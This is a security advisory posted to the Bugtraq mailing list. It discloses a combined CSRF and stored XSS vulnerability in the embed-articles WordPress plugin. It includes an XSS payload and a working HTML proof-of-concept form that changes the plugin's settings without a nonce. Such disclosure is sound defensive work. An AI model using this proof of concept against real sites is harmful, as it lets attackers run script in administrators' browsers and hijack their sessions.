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CSRF/XSS in embed-articles Wordpress Plugin
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: CSRF/XSS in embed-articles Wordpress Plugin
- From: kingkaustubh@xxxxxx
- Date: Thu, 7 May 2015 18:59:57 GMT
======================================================
CSRF/Stored XSS Vulnerability in embed articles Plugin
======================================================
. contents:: Table Of Content
Overview
========
* Title :CSRF and Stored XSS Vulnerability in embed-articles Wordpress Plugin
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/embed-articles/
* Severity: HIGH
* Version Affected: Version 7.0.3 and mostly prior to it
* Version Tested : Version 7.0.3
* version patched:
Description
===========
Vulnerable Parameter
--------------------
* API Key
About Vulnerability
-------------------
This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if
an admin user can be tricked to visit a crafted URL created by attacker (via
spear phishing/social engineering), the attacker can insert arbitrary script
into admin page. Once exploited, adminâ??s browser can be made to do almost
anything the admin user could typically do by hijacking admin's cookies etc.
Vulnerability Class
===================
Cross Site Request Forgery
(https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting
(https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)
Steps to Reproduce: (POC)
=========================
After installing the plugin
1. Goto settings -> Embed Articles
2. Insert this payload ## "> http://www.<script>alert(1)</script .com ## Into
above mention Vulnerable parameter Save settings and see XSS in action
3. Visit embed-articles settings page of this plugin anytime later and you can
see the script executing as it is stored.
Plugin does not uses any nonces and hence, the same settings can be changed
using CSRF attack and the PoC code for the same is below
CSRF POC Code
=============
<html>
<body>
<form
action="http://127.0.0.1/wp/wp-admin/admin.php?page=embedarticles&lock=no";
method="POST">
<input type="hidden" name="embedarticles_hidden" value="Y" />
<input type="hidden" name="pub_value"
value=""> "> http://www.<script>alert(1)</script .com"
/>
<input type="hidden" name="display" value="bottom" />
<input type="hidden" name="Submit" value="Update Options" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Mitigation
==========
Plugin Closed
Change Log
==========
Plugin Closed
Disclosure
==========
07-April-2015 Reported to Developer
Plugin Closed
8-May-2015 Public Disclosed
credits
=======
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh (at) me (dot) com [email concealed]
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad